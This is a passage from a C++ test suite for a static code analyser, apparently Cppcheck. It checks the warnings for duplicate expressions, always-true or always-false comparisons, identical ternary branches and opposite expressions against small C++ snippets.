f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", 